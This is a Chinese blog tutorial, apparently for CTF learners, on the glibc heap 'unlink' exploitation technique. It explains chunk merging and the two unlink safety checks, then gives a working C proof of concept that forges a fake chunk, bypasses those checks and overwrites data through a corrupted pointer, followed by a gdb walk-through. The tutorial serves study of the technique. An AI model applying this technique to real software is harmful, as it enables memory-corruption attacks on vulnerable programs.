Linux下堆溢出利用1-unlink基本原理

1 前言

在CTF比赛PWN常有关于unlink的题目,看了网上大佬的文章,有些难点都是一言带过,对于刚入门的同学有难度,个人认为难点如下:

  1. free chunk向前和向后合并
  2. 两个检查点的绕过
  3. unlink后chunk1和chunk1[3]的同为一体
  4. unlink后chunk1的移形换位

2 基础知识

2.1 向前和向后合并

当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。以当前的chunk为基准,将preivous free chunk合并到当前chunk称为向后合并,将后面的free chunk合并到当前chunk就称为向前合并。注意这里的前后是指物理内存而非fd、bk所指的链表堆块。

2.1.1 向后合并

/*malloc.c  int_free函数中*//*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的向后和向前一个free chunk*/
/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;//修改指向当前chunk的指针,指向前一个chunk。
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(p, bck, fwd);
    }
#define chunk_at_offset(p, s)  ((mchunkptr)(((char*)(p)) + (s)))

unlink函数可简单理解定义如下:

#define unlink(P, BK, FD) {                                            
	FD = P->fd;                                                          
	BK = P->bk;                                                          
	FD->bk=BK;
	BK->fd=FD;     
	...                                                  
}

unlink操作

在这里插入图片描述

当要free chunk2 前发现上一个块chunk1也是free状态的,就抱大腿合并起来,指向chunk2的ptr指针现在指向chunk1,size也变为size+presize也就是这样:
在这里插入图片描述

新的free的chunk1不会很快回到操作系统,于是需要从所在的free的chunk链中进行unlink(有fd指针和bk指针)再放到unsorted bin中保存。

2.1.2 向前合并

if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
	if (!nextinuse) {
		unlink(nextchunk, bck, fwd);
    	size += nextsize;
	} else
    	clear_inuse_bit_at_offset(nextchunk, 0);

#define clear_inuse_bit_at_offset(p, s)
(((mchunkptr)(((char*)(p)) + (s)))->size &= ~(PREV_INUSE))

向前合并不修正P的指针,只增加size大小。合并后会将合并后新的chunk加入unsorted bin中,加入第一个可用的chunk之前,更改自己的size字段将前一个chunk标记为已用,再将后一个chunk的previous size改为当前chunk的大小。
合并之前
合并之后

2.2 chunk结构体

2.2.1 使用中的chunk

在这里插入图片描述

一个使用中的 chunk(就是还没有 free 掉)在内存中的样子如下(从上到下,地址越来越大),通过 malloc 返回的是 mem 指向的地址。

  1. size of previous chunk
    这是前面一个 chunk 的大小,这里的前面一个指的是低地址的那一个
  2. size of chunk
    这个 chunk 的大小。而且这个 chunk 的大小一定是 8 的倍数。所以低三位是 0,由于低三位是 0,是固定值,可以将这些固定值,用来表示其他的含义,反正计算大小的时候,统一把他们当成 0 就好了。下面从高到低介绍这些标志的意思:
  • A:是不是「主分配区」分配的内存 1 表示不是主分配区分配的,0 表示是主分配区分配的
  • M:是不是 Memory Mapped 分配的内存,1 表示是,0 表示是 heap
  • P:表示前一个 chunk 是否在使用,在初始化的时候通常为 1,防止使用不能访问的内存
  1. user data

2.2.2 空闲的chunk

在这里插入图片描述

  1. 正在被使用,则pre_size被用来内存赋值。否则则是上个chunk的大小。
    size指的是本chunk的大小(包括chunk头)。
  • P指PREV_INUSE,如果此位被设置为1(即allocated),则表示上个chunk已被分配,如果是0,则表示上个堆块是空闲状态。
  1. fd指向链表中前一个堆块的指针,该指针指向的是chunk的head。
  2. bk指向链表中后一个堆块的指针,该指针也是指向chunk的head,通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理。
  3. fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  4. bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适chunk 时挨个遍历。

2.3 unlink检查机制

以前的unlink没检查,现在多了两项检查机制,在4.1和4.3中再讲解如何绕过这两项检查。

  1. unlink 检查是否P->fd->bk == P 以及 P->bk->fd == P
  2. unlink chunk size是否等于next chunk(内存意义上的)的prev_size.

3 程序和调试环境准备

3.1 测试环境

  1. Linux ubuntu 16.04.1
  2. glibc 2.23(这个攻击方法对>2.25版本的glibc无效)
  3. gdb 7.11.1
  4. pwndbg 1.1.0

3.2 演示程序

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};							

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("&chunk1 :%p\n", &chunk1);
  printf("chunk1 :%p\n", chunk1);
  printf("chunk2 :%p\n", chunk2);

  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header

  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("chunk1 :%p\n", chunk1);
  printf("chunk1[3] :%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);
  return 0;
}

3.3 编译命令

sudo gcc -o unlink unlink.c -g
需要安装插件 pwndbg进行程序调试

4 调试程序

在程序第20行处下断点,运行到chunk1 = malloc(0x80);处,这时还未执行。
在这里插入图片描述
在这里插入图片描述

执行n单步执行之后,第一个malloc执行完毕。
在这里插入图片描述

在第32行下断点
b 32
c

在这里插入图片描述

fake_chunk被赋值,可以看到fake_chunk和chunk1指向同一个地址空间0x602010。但是需要注意的是。chunk1是malloc分配出来的,指向的是用户数据区域,没有包含chunk header,而fake_chunk是由chunk1强制转换过来的,是伪造的chunk,此时chunk结构见下图:
在这里插入图片描述

通过将chunk1强制转换为struct chunk_structure结构体,就伪造出了一个chunk。即fake_chunk。此时如下图:
在这里插入图片描述

4.1 过检查点1

首先看一下chunk1和chunk2

在这里插入图片描述

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

我们看见&chunk1-3。这里是指针运算。&chunk1占8个字节。所以减3即减3*8共24个字节(0x18)。即
&chunk1-3 = 0x7fffffffddd0-0x18=0x7fffffffddb8。
然后再强制转换为chunk_structure 结构体。赋值给了fake_chunk->fd。fake_chunk->bk同理,&chunk1-2 = 0x7fffffffddd0-0x10=0x7fffffffddc0。
在这里插入图片描述

执行完之后看一下现在的chunk1和chunk2。和上图对比一下就发现fake_chunk->fd和fake_chunk->bk已经改变为0x7fffffffddb8和0x7fffffffddc0。
在这里插入图片描述

32行和33行的代码主要是绕过检查点1的。保证P->fd->bk == P 以及 P->bk->fd ==P,此时这里的P就是fake_chunk(之后会细解释为什么)。
即fake_chunk->fd->bk == fake_chunk 和 fake_chunk->bk->fd == fake_chunk。
fake_chunk->fd =0x7fffffffddb8,是chunk_structure 结构体。
fake_chunk->bk =0x7fffffffddc0,是chunk_structure 结构体。

以下是fake_chunk->fd结构体
在这里插入图片描述

fake_chunk->fd->bk是0x602010,所以本质上&fake_chunk->fd->bk = = &chunk1 == 0x7fffffffddd0,又因为chunk1指针指向0x602010,并且指针fake_chunk指向地址也0x602010,这样就保证了fake_chunk->fd->bk == fake_chunk。

以下是fake_chunk->bk结构体:
在这里插入图片描述

fake_chunk->bk->fd是0x602010。&fake_chunk->bk->fd = = &chunk1== 0x7fffffffddd0 , 并且指针fake_chunk指向地址也是0x602010,这样就保证了fake_chunk->bk->fd == fake_chunk,现在已经绕过检查点1了。

4.2 过检查点2

在这里插入图片描述

此时来分析下面这行代码。chunk2的指向地址是0x6020a0。并且是unsigned long long类型。即占8字节,所以chunk2-2 = 0x6020a0-16 =0x602090。并强制转换为chunk_structure结构体。赋值给chunk2_hdr。

n //单步执行

在这里插入图片描述

下面这两句代码是绕过检查点2的。第一行是将chunk_hdr->prev_szie设置为0x80。第二行是将chunk_hdr->size的P位设置位0。这样就会以为上一个堆块是空闲状态并且大小是0x80。

chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
n
n

在这里插入图片描述

b 45
c
n

当free的时候就会触发unlink,此时free(chunk2),发现P位是0,则表示chunk1是空闲状态。则chunk1会向后合并。即P->fd->bk = P->bk 和 P->bk->fd = P->fd。这里的P指fake_chunk。为什么指fake_chunk呢?因为当free(chunk2)的时候,看见P位是0,此时需要找到前一个chunk。当前chunk的mem地址减去当前chunk的prev_size。即chunk2的地址减去0x80。则是0x6020a0-0x80=0x602020。此时0x602020是fake_chunk->fd的位置。
而此时栈结构,chunk1指针值被改变为0x7fffffffddb8,改变是因为P->fd->bk = P->bk.和P->bk->fd = P->fd。
在这里插入图片描述

4.3 chunk1和chunk1[3]同为一体

x/10gx 0x7fffffffddb8

在这里插入图片描述

因为&chunk1==0x7fffffffddd0,即为图中红框处,而chunk1[3]地址也是0x7fffffffddd0,所以修改chunk1[3]就相当于修改chunk1。

4.4 chunk1的移形换位

chunk1[3] = (unsigned long long)data;
strcpy(data, “Victim’s data”);

将chunk1[3]修改为data即0x7fffffffddf0,则此chuan1也已经指向0x7fffffffddf0,看一下这里存的什么,Chunk1指针指向0x7fffffffddf0,注意此chunk1指针的值已经变化了,此时给chunk1[0]赋值即给data赋值。注意这里data其实是我们模拟出来的攻击对象。

x/s 0x7fffffffddf0

在这里插入图片描述

n

在这里插入图片描述
在这里插入图片描述

可以看到data被成功修改了,hack成功!
持续更新漏洞利用案例…

5 参考链接

https://blog.csdn.net/qq_41918771/article/details/100917350?utm_medium=distribute.pc_relevant.none-task-blog-baidujs-3
https://www.jianshu.com/p/4438e7b3b0ed

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值